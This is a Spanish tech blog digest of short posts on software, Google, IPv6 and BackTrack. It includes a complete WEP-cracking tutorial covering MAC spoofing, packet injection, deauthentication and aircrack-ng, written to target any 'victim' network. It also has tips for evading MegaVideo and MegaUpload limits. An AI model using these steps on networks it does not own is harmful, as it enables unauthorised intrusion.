Picasa Album Downloader – Para descargar álbumes foto de Picasa, a tu ordenador es un post de: ¡De todo un poco!

Seguro que en algún momento has intentado ver alguna película en alguna de esas webs que hay en la red. Lo malo de esas paginas es que disfrutan con eso de dejarnos con la miel en los labios. Y con esto me refiero a que cuando menos te esperas, te aparece ese mensaje que nadie quiere ver.

Como he visto que hay mucha gente que no tiene ni idea pues aquí os dejo un complemento para FIREFOX que os permitirá saltaros las limitaciones de tiempo sin necesidad de reiniciar router/pc.

La extensión de Illimitux remueve las limitaciones impuestas por algunas plataformas de transimisión como MegaVideo, Veoh o MegaUpload. Con Illimitux, puedes ver estos vídeos sin ninguna restricción.

Por Ejemplo, puedes ver mas de 72 minutos de video en MegaVideo, automáticamente llenar el código de MegaUpload, reproducir videos de mas de 5 minutos en Veoh -sin instalar Veoh TV- y muchas otras cosas.

Por ejemplo:
Al abrir un enlace de alguno de los servicios soportados os aparecerá ” eliminar la limitación de megavideo ” o bien podéis  hacer que os la elimine directamente sin necesidad de pulsar en el enlace cada vez ( en la configuración esta la opción )

» Sitio Oficial | illimitux

Compartelo:

[?]

Illimitux saltarse las limitaciones de plataformas de transmisión como MegaVideo, Veoh, MegaUpload es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Este vídeo te enseñara como comprobar la seguridad de un punto de acceso WIFI con encriptación WEP. Es muy parecido al tutorial que publiqué hace poco. Lo publico por si han quedado dudas sin aclarar en el tutorial que he creado.

Compartelo:

[?]

Como reventar una WEP con un LiveCD BackTrack 4 es un post de: ¡De todo un poco!

» Sitio Oficial | Codigo Abierto

Compartelo:

[?]

Todo lo que necesitas saber sobre el Codigo Abierto es un post de: ¡De todo un poco!

Compartelo:

[?]

Línea de tiempo del nacimiento de los productos de Google es un post de: ¡De todo un poco!

GeoPC es una pequeña herramienta que busca ayudar a las personas a localizar un PC portátil perdido o robado, en base a registros periódicos de la IP de donde se conecta la PC. Aun que esto no te garantiza recuperar el equipo, la información que obtendrás puede llegar a serte útil en investigaciones, o en posibles demandas policiales. Actualmente están trabajando para incorporar más herramientas que ayuden a recuperar el portátil.

GeoPC se instala en la PC de manera discreta y mediante un ID (que es un identificador) único para cada usuario, desde el panel de control que se encuentra en la pagina oficial se tendrá acceso a los registros y historial de conexión de la PC. A, bueno también se puede utilizar para saber cuando se conecta a Internet el equipo que has prestado a un amigo, o para controlar el acceso a Internet a un hijo.

» Licencia | Freeware/Gratis
» Sistema Operativo | Windows
» Tamaño | 212KB
» Sitio Oficial | GeoPC
» Enlace de descarga | geopc_setup.exe

Compartelo:

[?]

Encuentra el PC que acabas de perder o te acaban de robar es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Compartelo:

[?]

Google Dashboard: ¿Te gustaría saber que sabe el Gran Hermano de ti? es un post de: ¡De todo un poco!

Chatroulette es un sistema que pone en contacto a personas con o sin webcam de forma aleatoria (eso sí, si entras sin webcam no contactaras con nadie o será complicado). Cuando accedemos vemos en la esquina inferior izquierda del sitio una pequeña pantalla que pertenece a nuestra webcam, justo encima otra pantalla igual donde aparece la webcam de otro internauta al azar y finalmente a la derecha está la parte para chatear.

Pinche aquí para ver el vídeo

» Sitio Oficial | Chatroulette

Compartelo:

[?]

Pone en contacto a personas con o sin WebCam de forma aleatoria es un post de: ¡De todo un poco!

La siguiente imagen nos muestran algunos datos bastante curiosos, interesantes y sorprendentes de Google (no dejen de verlos). Nadie imaginó que una empresa que nació hace menos de 15 años dentro del mundo de los buscadores, hoy en día encuentre 7.200.000.000 de páginas diarias y que tenga todo un imperio por detrás (con cada uno de sus productos).

» Fuente de referencia | Datanoia

Compartelo:

[?]

Google en números según Pingdom es un post de: ¡De todo un poco!

Para los bloggers o webmasters monitorear su posición en Google debe ser algo permanente. Hacerlo de manera manual no es muy difícil pero lleva demasiado tiempo, y seguramente que coincidirán con migo en que hoy en día el tiempo es oro.

Free Monitor for Google: El nombre inicial de este programa era Google Monitor y eso que no es un programa de Google, sino de CleverStat, una Web especializada en SEO y Web. Después de haber tenido la oportunidad de probarlo, puedo decir que el programa funciona bastante bien.

Una vez que has instalado el programa y lo ejecutas, se te mostrará una pantalla de bienvenida, solo la primera vez, donde se te pedirá que ingreses algunos datos de configuración, para poder saber tus posiciones en Google, como la profundidad de búsqueda, hasta qué número de resultado va a buscar, y el otro parámetro es tu país, por ejemplo: España, si deseas que los resultados mostrados por el programa sean para Google España.

El programa es compatible con versiones de Windows XP, Windows Vista, Windows 7 y otras anteriores. Es gratuito y permite guardar un histórico de los resultados.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Windows
» Tamaño | 1,45MB
» Idiomas | Deutsch, English, Espanol, Russian
» Sitio Oficial | CleverStat
» Enlace de descarga | Free Monitor for Google
» Fuente de referencia | Descargas Totales

Compartelo:

[?]

Free Monitor for Google: Una herramienta de monitoreo de keywords para Google 100% GRATUITA, que soporta frases de búsqueda múltiples es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Este vídeo muestra como comprobar la seguridad de un punto de acceso WIFI con encriptación WEP. Es muy parecido al tutorial que publiqué hace 2 días. He decidido publicarlo por si han quedado dudas sin aclarar en el tutorial que he creado. Lo encontré en youtube. Por desgracia esta en ingles.

Compartelo:

[?]

Una versión vídeo para el tutorial sobre WEP (está en inglés) es un post de: ¡De todo un poco!

Bueno, para empezar este tutorial ha sido creado con un propósito educativo. Lo que el usuario haga con lo aprendido en este tutorial, lo hará bajo su responsabilidad.

¿Para que nos puede servir saber crackear una contraseña de encriptación WEP? Eso no importa, esto es meramente educativo y un reto para algunos. Bueno es una tecnica que se utiliza en algunas empresas para realizar auditorías de seguridad en redes wifi. También sirve para demostrar lo frágil que es la seguridad que nuestros proveedores de Internet dejan configurada en los routers que nos regalan.

Antes que nada hay que saber cuanto es de segura la encriptación WEP. Segun Wikipedia:
{WEP, acrónimo de Wired Equivalent Privacy o “Privacidad Equivalente a Cableado”, es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la información que se transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado RC4 que utiliza claves de 64 bits (40 bits más 24 bits del vector de iniciación IV) o de 128 bits (104 bits más 24 bits del IV). Los mensajes de difusión de las redes inalámbricas se transmiten por ondas de radio, lo que los hace más susceptibles, frente a las redes cableadas, de ser captados con relativa facilidad. Presentado en 1999, el sistema WEP fue pensado para proporcionar una confidencialidad comparable a la de una red tradicional cableada.}

Para este ejercicio necesitaremos “BackTrack”, que es un sistema operativo con kernel de Linux que se utiliza exclusivamente para auditorías de seguridad. No es necesario instalarlo ya que es un LiveDVD.

1. Lo primero que hay que hacer es descargar la última versión de “BackTrack” y grabarla en un DVD. Después de comprobar que se ha grabado correctamente, con el DVD en la unidad reiniciamos el equipo para arrancar desde el LiveDVD. En algunos casos puede ser necesario cambiar el orden de los dispositivos de arranque en el BIOS.
2. Si todo es correcto nos saldrá el menú del LiveDVD, donde debemos elegir la opción indicada en la foto. Si durante el proceso de arranque hay algún fallo, deberá reiniciar el equipo e intentar una por una las siguientes opciones de la lista hasta encontrar una que le permita llegar al siguiente paso.

   

3. Llegados a este punto debemos iniciar la interfaz gráfica. Para ello utilizaremos el comando:

    startx

   

4. Con la interfaz gráfica cargada, primero tendrá que configurar el teclado. El sistema operativo de este LiveDVD está en inglés. Haga clic de derecha con el ratón sobre la bandera de “US” >> elige la opción “Configure…” >> en la ventana que se abre, elimina todos las banderas que aparecen en “Active layouts:”, >> después añade la bandera que corresponde a la configuración de tu teclado de entre las que están en “Available layouts:” y confirma con [OK]. Lo segundo de este paso será abrir la consola de comandos haciendo clic en el segundo icono.

   

5. Este es el paso donde se empieza el proceso de recuperación de contraseña. Todo el proceso lo realizaremos en la consola que hemos abierto en el paso anterior. Con el siguiente comando averiguaremos si nuestra tarjeta de red wifi está compatible con “BackTrack”. Si el sistema reconoce tu interfaz wifi, te mostrará algo como eth1 o wlan0. Este es el nombre de la interfaz y lo deberá utilizar en todos los comandos que sigan.

    airmon-ng

   

6. Los siguientes 2 comandos desactivarán la interfaz wifi preparándola para el siguiente paso. Hay que ejecutarlos uno detrás del otro sin olvidar remplazar “(interface)” por el nombre de la interfaz obtenido en el paso anterior.
   Ej: “airmon-ng stop eth1”

   

    airmon-ng stop (interface)
    ifconfig (interface) down

   

7. Como todo buen hacker informático, debes cuidar la seguridad así que cambiaremos la mac del dispositivo. La mac esta formada por 6 grupos de 2 digitos separados por “:”. Los caracteres permitidos son “0123456789ABCDEF”.

    macchanger --mac 00:11:22:33:44:55 (interface)

   

8. Volvemos a activar la interfaz:

    ifconfig (interface) up
    airmon-ng start (interface)

   

9. Ahora revisaremos todas las redes wifi con encriptación WEP, disponibles. Entre ellas tenemos que elegir a la que queremos atacar:

    airodump-ng (interface) --encrypt wep

   

   Despues de ver la lista y elegir a nuestra victima pararemos el proceso con la combinación de teclas [Ctrl]+[C].

10. Abriremos una nueva pestaña presionando en el icono que aparece en la esquina izquierda abajo en nuestra consola.

    

11. Utilizando la información recompilada en el paso 9, iremos componiendo el siguiente comando:

     airodump-ng (interface) --bssid (bssid) -c (channel) -w (captura)

    

    Se deben remplazar los siguientes parámetros:
    (interface) es el nombre de la interfaz que obtuvimos en el paso 5. Ej. eth0, wlan1, …
    (bssid) es la mac o bssid del router que queremos atacar. Ej: 00:13:49:CA:FE:00.
    (captura) es el nombre de archivo en el que se guardará la información capturada. Yo suelo utilizar la essid, así me es mas fácil recordar que información contiene.

    El router que elegimos en este paso es de vital importancia. Si no tenemos que descifrar una señal concreta, lo ideal sería elegir la bssid que mas tráfico de datos tenga. Si encontramos una que tenga suficiente tráfico de datos para que no tengamos que inyectar tráfico falso, nos podríamos saltar los siguientes 3 pasos.**

12. **Si es una de las que tienen tráfico, pero muy poco, debemos inyectar tráfico falso. Para ello abrimos una nueva pestaña y en ella ponemos el siguiente comando.

     aireplay-ng (interface) -3 –b (bssid) -h (MacCliente)

    

    La (interface) y la (bssid) ya sabes con que hay que remplazarlas. La (MacCliente) es la dirección Mac en formato XX:XX:XX:XX:XX:XX del cliente que este generando el tráfico. Este proceso captura partes del tráfico que este cliente realiza y lo vuelve a enviar al router como si viniera del mismo cliente. Esto aumentará la velocidad con la que se capturan los paquetes. En definitiva, nos ahorrará tiempo. Si con esto ya tenemos suficiente tráfico de datos, nos podemos saltar los siguientes 2 pasos.

13. **Si hemos decidido hacer todo esto en un punto de acceso que no tiene tráfico, además de todos los pasos anteriores, debemos realizar también este y el siguiente paso. Abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:

     aireplay-ng (interface) -1 10 -a (bssid)

    

    Este comando enviará 10 paquetes malformados al router haciéndole creer que somos un cliente que ya esta autentificado. Al pensar que somos un cliente autentificado el router nos enviará un paquete con datos encriptados. Este será el paquete que capturaremos con el paso anterior. He de tener en cuenta que en este caso nosotros seriamos el cliente, por lo tanto el valor del (MacCliente) seria nuestra mac. La que definimos en el paso 7. Ej: 00:11:22:33:44:55

14. **Mientras se ejecutan los comandos anteriores, abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:

     aireplay-ng (interface) -0 0 -a (bssid) –c (MacCliente)

    

    Este paquete malformado provocará que el router nos desautentifique, permitiendo así que el proceso anterior vuelva a autentificarnos generando otro paquete de datos.

15. En este momento volvemos a la pestaña numero 2, que es en la que se captura en tráfico y comprobamos cuantos paquetes tenemos capturados y si se sigue capturando. He de tener en cuenta que para descifrar una clave wep de 64bits se necesitan unos 40000 paquetes capturados, y para una de 128bits unos 80000. Esto es lo recomendado lo que no impide que el siguiente comando consiga descifrarla antes. Así que abrimos una última pestaña y en ella ponemos:

     aircrack-ng (captura)*.cap

    

    No olviden remplazar la variable (captura) con la que definimos en el paso 11 seguido de “*.cap”. Ej: wlan_xx*.cap. Este proceso empezara a escanear los paquetes que hemos capturado en busca de la clave. El proceso se repite automáticamente cada 5000 paquetes capturados, así que si con 5000 paquetes no encuentra la clave cuando la captura de paquetes llegue a 10000 volverá a buscar, luego a los 15000, 20000, …hasta encontrarla. Lo único que hará falta es esperar.

16. Tras esperar un rato, en la ultima pestaña que hemos abierto aparecerán dos mensajes “KEY FOUND!” + “Decrypted correctly: 100%”. Esto significa que ya tenemos nuestra clave. La clave que nos abrirá las puertas de nuestro punto de acceso es la que aparece donde pone ASCII.

    

Compartelo:

[?]

Tutorial: Como crackear contraseñas wifi con cifrado WEP es un post de: ¡De todo un poco!

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Windows
» Tamaño | 82KB -> 4.4MB
» Idiomas | English
» Sitio Oficial | PersonalizeMedia
» Enlace de descarga | SocMedCounter.exe (Portable)

Compartelo:

[?]

Contador Social Media es un post de: ¡De todo un poco!

Tras 18 meses de desarrollo, Remote Exploit ha liberado la nueva y muy, muy esperada versión 4.0 de la distribución GNU/Linux BackTrack, pensada y enfocada a la auditoría de seguridad e informática en general, y especializada en test de penetración. Es una distribución con descarga y uso gratuito que puedes probar desde el mismo disco sin modificar tu equipo bajo el formato Live, que puede ser instalada en disco y también usada con imagen VMWare. Los autores aseguran que tras los 18 meses de desarrollo “es la mejor edición de BackTrack” liberada hasta la fecha.

Esta nueva versión incluye las correcciones de los errores reportados en las versiones previas del desarrollo, el nuevo kernel 2,6.30.9, un conjunto de herramientas más grande y ampliado (más de 300) y soporte hardware mejorado y extendido especialmente para chips de conexión inalámbrica Wi-Fi.

Como en versiones anteriores, la mayoría de usuarios usará BackTrack 4.0 para auditoría Wireless, aunque su potencial es inmenso incluyendo numerosos escáneres de puertos y vulnerabilidades, análisis forense, archivos de exploits o sniffers. Al habitual LiveDVD se añade la posibilidad de instalación en disco duro, desde unidad óptica o llavero Flash USB, contando además con una imagen para el sistema de virtualización por software VMware.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux
» Tamaño | 1,5 -> 2 GB
» Idiomas | English
» Sitio Oficial | BackTrack Linux
» Sitio Oficial | Manuales y guías de utilización
» Enlace de descarga | BackTrack 4 Final Release (.ISO y VMWare)
» Enlace de descarga | PDF (Listado de cambios)
» Fuente de referencia | MuyComputer

Compartelo:

[?]

Backtrack 4 Final es un post de: ¡De todo un poco!

El DNI electrónico nos permite realizar multitud de gestiones a través de la red, permitiendo identificarnos ante las páginas Web de diversas entidades. Pero no es la única función de este tipo de tarjetas electrónicas. El hecho de identificarnos permite que también sirvan para firmar documentos. Clicksign es una aplicación que nos permite hacerlo de forma sencilla. En su versión gratuita nos permite firmar documentos en formato PDF, garantizando su procedencia. Además de eso, si recibimos un documento firmado electrónicamente también podremos verificarlo.

El funcionamiento es tan simple como pulsar con el botón derecho sobre un fichero PDF y seleccionar la opción de Firmar. También ofrecen la versión Clicksign PRO, que permite muchas más opciones, como por ejemplo la firma de múltiples documentos al mismo tiempo, firmar contratos con múltiples firmas y además, soporta más formatos de archivo aparte de PDF: Excel, Word e imágenes.

Por cierto, que si aún no disponemos de DNI electrónico también es compatible con otros certificados, como el de la FNMT.

» Licencia | Freeware/Otros
» Sistema Operativo | Windows
» Sitio Oficial | ClickSign
» Fuente de referencia | GenBETA

Compartelo:

[?]

ClickSign: Firma tus documentos con tu DNIe o un certificado de FNMT es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Compartelo:

[?]

Strip Tease – Menudo sistema de control paternal es un post de: ¡De todo un poco!

Muchos recurrimos habitualmente a diccionarios y servicios de traducción cuando necesitamos leer o escribir algún texto en otro idioma, y sin duda, uno de los servicios más utilizados y populares es Google Translate. goot es un programa que trabaja a través del servicio de traducción de Google que cuenta con la ventaja de ofrecer los mismos resultados que éste a través de un cliente mucho más sencillo y cómodo de utilizar.

goot nos permite realizar traducciones rápidas entre varios idiomas, y además nos permite configurar un acceso rápido de teclado para poder lanzarlo de forma mucho más rápida cuando nos haga falta.

Por último, aunque trabaja a través del motor de traducción de Google, puedes instalarle plugins de otros servicios para tener más fuentes a la hora de traducir textos.

» Licencia | Freeware/Gratis
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 1,8MB
» Idiomas | English
» Sitio Oficial | AppJuice
» Fuente de referencia | UPtoDOWN

Compartelo:

[?]

Goot: Google translator directamente en tu escritorio es un post de: ¡De todo un poco!

Google ofrece una Guía SEO completa para principiantes como yo, entiendan mejor el concepto “SEO” y así puedan optimizar mejor su sitio Web. Un sitio optimizado facilitara el proceso de indización, gracias a cual obtendrá un mejor posicionamiento en las búsquedas. Esta guía fue nombrada “SEO Guía de inicio” y esta en formato PDF. Está disponible para descarga en 40 idiomas.

» Idiomas | Arabic, Bulgarian, Catalan, Chinese (Simplified), Chinese (Traditional), Croatian, Czech, Danish, Dutch, English, English (GB), Filipino, Finnish, French, German, Greek, Hebrew, Hindi, Hungarian, Indonesian, Italian, Japanese, Korean, Latvian, Lithuanian, Norwegian, Polish, Portuguese (BR), Portuguese (PT), Romanian, Russian, Serbian, Slovak, Slovenian, Spanish, Swedish, Thai, Turkish, Ukrainian, Vietnamese
» Sitio Oficial | Guía Google SEO Starter (más de 40 idiomas)
» Enlace de descarga | Guía Google SEO Starter (guia_optimizacion_motores_busqueda.pdf en español)
» Fuente de referencia | FFK-Wilkinson

Compartelo:

[?]

Google te ofrece la guía “SEO Starter” en más de 40 idiomas es un post de: ¡De todo un poco!

Zamzom Wireless es una aplicación gratuita y muy fácil de usar la que te permite comprobar si hay intrusos utilizando tu red WiFi. Escanea tu red en busca de otros ordenadores en el rango de direcciones IP. Es muy sencillo de utilizar solo debes hacer click en “Fast Scan” y te mostrará una tabla con direcciones IP y MAC de las PCs conectadas. También tienes la opción de escaneo en profundidad con la que detecta rápidamente si alguien está conectado. La versión basic solo te muestra las direcciones pero no los identifica, tendrás que averiguar por otros medios. Está disponible solamente en inglés y funciona bajo plataformas de Windows XP y Vista.También esta disponible en versión Premium por unos 12,50€.

» Licencia | Freeware/Gratis/Otros
» Sistema Operativo | Windows
» Tamaño | 520KB
» Idiomas | English, Espanol, Italian, France, Korea
» Sitio Oficial | Zamzom
» Enlace de descarga | Zamzom Wireless basic setup.msi
» Fuente de referencia | Zona Windows

Compartelo:

[?]

Zamzom Wireless: ¿Cuantos vecinos están enganchados a mi red WIFI? es un post de: ¡De todo un poco!

Seguro que hay más de uno que le molesta esperar los 45 segundos en Megaupload para poder descargar algún archivo. Pues aquí les dejo un video tutorial, o truco, como lo quieran llamar, en el que se explica cómo hacer para no tener que esperar los 45 segundos de Megaupload.

Por suerte el video esta disponible en HD, y el truco es muy sencillo, ya que sólo tendrán que modificar el estilo de página del navegador.

» Fuente de referencia | Todo en Descargas

Compartelo:

[?]

Aquí les dejo un truco con el que podrán saltarse los 45 segundos de espera en MegaUpload es un post de: ¡De todo un poco!

A la hora de obtener visitas de los diferentes buscadores, algo que tenemos que tener en cuenta los escritores es posicionar los diferentes artículos que hacemos, algo que es muy difícil aunque si nos tomamos el tiempo de hacerlo, lo ideal sería poder ver si nuestro trabajo rinde sus frutos.

En KPMRS, encontraremos una herramienta web gratuita con la que podremos ver en qué posición se encuentran determinadas keywords de nuestro sitio.

KPMRS (Keyword Positioning Monitoring Report Service) es un servicio muy interesante, el mismo buscará en los buscadores Yahoo!, Bing y Google la posición de las keywords ingresadas de cada sitio, esto se hará en unos pocos segundos, si no estamos registrados, sólo podremos buscar 10 palabras claves por día, en caso de estarlo, podremos hacerlo las veces que uno quiera.
» Sitio Oficial | KPRMS
» Fuente de referencia | Todo en Descargas

Compartelo:

[?]

KPRMS te muestra el posicionamiento de tus keywords en buscadores es un post de: ¡De todo un poco!

RankingHosting es un servicio gratuito al público, sobre alojamientos web fiables, baratos y seguros. Experimentados webmasters revisaron cuidadosamente cada prueba, y los proveedores de web hosting para clasificarlos de acuerdo a la fiabilidad, precio, servicio al cliente, panel de control, tiempo de actividad del servidor, y la facilidad de uso. El objetivo de esta web es ofrecerle el mejor alojamiento para sus webs!

» Sitio Oficial | RankingHosting

Compartelo:

[?]

Encuentra el mejor hosting para tu Web con RankingHosting es un post de: ¡De todo un poco!

El protocolo IPv6 es una nueva versión de IP (Internet Protocol), diseñada para reemplazar a la versión 4 (IPv4) RFC 791, actualmente en uso. Diseñado por Steve Deering de Xerox PARC y Craig Mudge, IPv6 está destinado a sustituir a IPv4, cuyo límite en el número de direcciones de red admisibles está empezando a restringir el crecimiento de Internet y su uso, especialmente en China, India, y otros países asiáticos densamente poblados. Pero el nuevo estándar mejorará el servicio globalmente; por ejemplo, proporcionará a futuras celdas telefónicas y dispositivos móviles con sus direcciones propias y permanentes. A día de hoy se calcula que las dos terceras partes de las direcciones que ofrece IPv4 ya están asignadas.

IPv4 posibilita 4.294.967.296 (232) direcciones de red diferentes, un número inadecuado para dar una dirección a cada persona del planeta, y mucho menos a cada vehículo, teléfono, PDA, etcétera. En cambio, IPv6 admite 340.282.366.920.938.463.463.374.607.431.768.211.456 (2128 o 340 sextillones de) direcciones —cerca de 3,4 × 1020 (340 trillones de) direcciones por cada pulgada cuadrada (6,7 × 1017 o 670 mil billones de direcciones/mm2) de la superficie de La Tierra.

Propuesto por el Internet Engineering Task Force en 1994 (cuando era llamado “IP Next Generation” o IPng), la adopción de IPv6 por parte de Internet es menor, la red todavía está dominada por IPv4. La necesidad de adoptar el nuevo protocolo debido a la falta de direcciones ha sido parcialmente aliviada por el uso de la técnica NAT. Pero NAT rompe con la idea originaria de Internet donde todos pueden conectarse con todos y hace difícil o imposible el uso de algunas aplicaciones P2P, de voz sobre IP y de juegos multiusuario. Un posible factor que influya a favor de la adopción del nuevo protocolo podría ser la capacidad de ofrecer nuevos servicios, tales como la movilidad, Calidad de Servicio (QoS), privacidad, etc.

Para los interesados les dejo un pequeño manual explicativo y unos cuantos enlaces para ampliar sus conocimientos.

1.-Introducción

Bueno, esta es la primera vez que redacto un texto y pues espero ser lo más claro posible, usar los términos adecuados y pues que todos entiendan este texto.
El objetivo de este texto es dar a conocer así en forma muy general la nueva versión del protocolo IP, ya que en la actualidad la mayoría de paises aun estamos trabajando con la versión 4 (ipv4) y la nueva versión pues ofrece muchas ventajas que la versión anterior (aunque tampoco se salva de contras). Escribí este texto ya que creo que absolutamente TODOS debemos estar al corriente de las nuevas tecnologías y así pues prepararnos mejor para el futuro (eso suena bien consejo de la abuela XD ). Finalmente, les dejo aquí una pequeña INTRODUCCIÓN a este protocolo IP (Internet Protocol), y al final de este artículo dejaré unos links de apoyo sobre el tema… Comenzamos !.

2.-Descripción

IPv6, también llamado IPng (next generation internet protocol) es la nueva versión del conocido protocolo IP, el cual viene a reemplazar la versión anterior (IPv4) de forma GRADUAL. El principal motivo de la creación de esta versión es ampliar el número de direcciones IP, que las que se tenían
pensadas en la versión 4.
IPv4, con la que trabajamos actualmente es una dirección de 32 bits formada por 4 grupos de 8 bits cada uno, con esta versión de ip se tenían como máximo 2^32 direcciónes IP (4,294,967,296) y los creadores de ésta pues creían que con esto era suficiente para siempre , pero actualmente se están saturando el número de direcciones y pues en poco tiempo ya no quedarán direcciones para más equipos montados a la red.
En cambio, el formato de dirección de IPv6 es de 128 bits, la cual está
formada por 8 grupos de 16 bits cada uno (cada grupo de 16 bits en valor hexadecimal), con esto tenemos que el total de direcciones ip es 2^128 (3.402823669 e38, o sea sobre 1,000 sixtillones), ahora si podremos estár seguro que las direcciones IP nos durarán un BUEN TIEMPO HEE , y no solo para ordenadores, ya que también podremos conectar otros dispositivos a la red tales como PDA’s, teléfonos, lavadoras, neveras… todo en internet =).

He aqui una comparación de IPv4 con IPv6

IPv4

8 8 8 8
xxx.xxx.xxx.xxx
—————
4 grupos de 8 bits
total de direcciones= 4,294,967,296
dirección de 32 bits

IPv6

16 16 16 16 16 16 16 16
xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx
——————————————-
8 grupos de 16 bits (en valor hexadecimal)
total de direcciones= 3.402823669 e38
dirección de 128 bits

3.-Características Principales

Como el tema lo dice , unas de las principales características de este protocolo, aparte de la ya mencionada antes (que es la principal) sobre la expansión en el número de direcciones IP son las siguientes:

SEGURIDAD: Este aspecto es muy importante, y pues en esta versión de ip se introdujo IPSec el cual permite autenticación y encriptación del protocolo base, y pues con esto todas las aplicaciónes de red funcionando con este protocolo se beneficiarán de esta nueva característica. OJO hee, ya que IPSec ES UN REQUERIMIENTO DE IPv6.

SIMPLIFICACION DE ENCABEZADO (HEADER): Pues esta sección también se ve afectada con el cambio de versiones, ya que en los encabezados de la versión anterior habían muchos campos muy deficientes o inservibles, y pues en la versión 6 simplemente se QUITARON esos campos o se hacen opcionales.

AUTOCONFIGURACION: IPv6 cuenta con un sistema, mmmm llamémosle PLUG & PLAY, ya que al iniciar un equipo en red, pues este detecta automáticamente una configuración, como si tuviera un sistema DHCP. Pues aqui lo que hace es que INTENTA AUTOCONFIGURARSE y encontrar la salida o el gateway a internet, a esta nueva funcionalidad se le es llamada ROUTING DISCOVERY (Juar ! por fin encuentra el camino a internet por si solo XD ).

4.-Nomenclatura

Recordemos pues que las direcciones ip versión 4 eran de este y único tipo, fáciles de recordar, con única forma de escribir y en valor decimal:

xxx.xxx.xxx.xxx ejemplo: 200.65.30.139

Ahora, esto se hace un poco más complejo heee , ya que hay varios, digámosle tipos de simplificaciones de la dirección. El tipo de una ip versión 6 es la siguiente:

xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx.xxxx ejemplo:
FEDC:BA98:7654:3210:FEDC:BA98:7654:3210

Como mencioné antes, existen algunas formas de simplificar direcciones de la nueva generación, por ejemplo, si en una dirección hay 0000 (ceros) se puede simplificar con un simple 0 ya que no es necesario escribir todos los ceros a la izquierda. Cuando 2 o más campos consecutivos están llenos de 0′s
(ceros) se puede simplificar de la siguiente manera:

…:0000:0000:0000:… —> …:0:0:0:… —> ….::…. (todos los campos con 0 = :: )

esta regla se usa siempre y cuando los campos con valor = 0 sean consecutivos y SOLO UNA VEZ SE PUEDE USAR :: EN UNA DIRECCION IP. Por ejemplo:

2002:0450:0009:0010:0000:0000:0000:0071 —> 2002:450:9:10::71

Y cuando nos encontremos con direcciónes en donde hayan campos consecutivos con 0′s en diferentes partes, SOLAMENTE SE PODRÁ REPRESENTAR UN CONJUNTO DE 0′s CON :: UNA SOLA VEZ, Y LOS DEMAS CAMPOS CON 0′s SE TIENEN QUE REPRESENTAR ASÍ :0:0:0… bla bla bla. Por ejemplo, la dirección:

FFFF:0:0:0:FFFF:0:0:0 solamente se podrá comprimir en FFFF::FFFF:0:0:0 ó en FFFF:0:0:0:FFFF:: pero NUNCA EN FFFF::FFFF:: ya que como dije antes, solamente un conjunto de 0′s puede ser compreso en una dirección y los demás serán representados. (Repásenle varias veces )

Como última aclaración sobre simplificación de ceros, les digo que cuando vean :: en una dirección, para conocer la dirección COMPLETA simplemente se llenan los campos faltantes con 0′s hasta completar la dirección de 8 campos.
Ejemplos:

FFFF::12 —> FFFF:0000:0000:0000:0000:0000:0000:0012
::5 —> 0000:0000:0000:0000:0000:0000:0000:0005
1080::8:800:200C:417A —> 1080:0000:0000:0000:0008:0800:200C:417A
1::1 —> 0001:0000:0000:0000:0000:0000:0000:0001

5.-Otros Aspectos

Bueno, ya hablé sobre algo fundamental de la versión que nos espera en el futuro (muy cercano hee ) y pues cabe aclarar, que esta nueva implantación de ips nos brindará muchas ventajas.. prestaciones y un sin fin de cosas buenas más , pero no significa que sea 100 % excelente. También, los desarrolladores de Internet Protocol han hecho algo para mejorar el trabajo de los administradores de redes, ya que el ruteo de paquetes es mucho mejor, los routers tendrán menos sobrecarga, en fin, una red corriendo
bajo IPv6 será más fácil de administrar pero no significa que el administrador estará en el PARAISO , ya que el trabajo del administrador es administrar y por ahi leí que todo lo que se debe administrar, a veces tiende a ser DESADMINISTRADO, entonces, no por implantar IPv6 en una red signifique que estamos 100% estables y seguros hee.

Un ejemplo en la actualidad de una falla de seguridad (no un bug) con IPv6 es en un firewall de WinXP (era de suponerse XD ), ya que los chicos Microsoft(R) (el tio Billy y sus discipulos) admiten que “…las funciones Internet Connection Firewall y Basic Firewall de Windows XP y Windows Server 2003 sólo están en condiciones de bloquear paquetes de datos IPv4, por lo que el tráfico IPv6 pueden entrar SIN RESTRICCIONES AL SISTEMA.
El software cortafuegos de Microsoft contiene, en principio, una cantidad relativamente limitada de funciones de bloqueo. Por ello, no sustituye cabalmente una solución completa de cortafuegos y está dirigida básicamente a los usuarios de Windows, que de otra forma no instalarían una aplicación
de ese tipo.
Considerando que Internet Connection Firewall y Basic Firewall no protegen contra el nuevo protocolo de Internet, IPv6, recomendamos a los usuarios de Windows XP y Windows Server 2003 instalar una aplicación cortafuegos específica, en caso de necesitarla…”, asi que OJO hee .

Finalmente aclaro que técnicamente ya se puede hacer uso de esta nueva versión, pero lo que hace falta es $$$, y pues las principales organizaciones o empresas que pueden hacer este cambio de versiones son por ejemplo las Universidades con $$$ o las que en verdad estén interesadas en implantar esta nueva tecnología, otras, principalmente las ISP’s (T3LM3X aqui en México), grandes empresas ($$$), y bla bla bla.

En la actualidad mucho países han anunciado su cambio de IP, están listos para migrar a IPv6, aunque como se dijo desde un princio el cambio de versiones es de forma GRADUAL (asi lentamente, no de un día para otro )
y hoy en día, el primer país del mundo en cambiarse de IPv4 a IPv6 fue Taiwán, Uorale !.

6.-Despedida

Bien, espero que este pequeño texto haya sido de utilidad para cualquier tipo de lector de esta e-zine y si no pues, que sirva de relleno para la misma XD. Les agradezco su comprensión y su tiempo, el cual no les robé mucho heee.

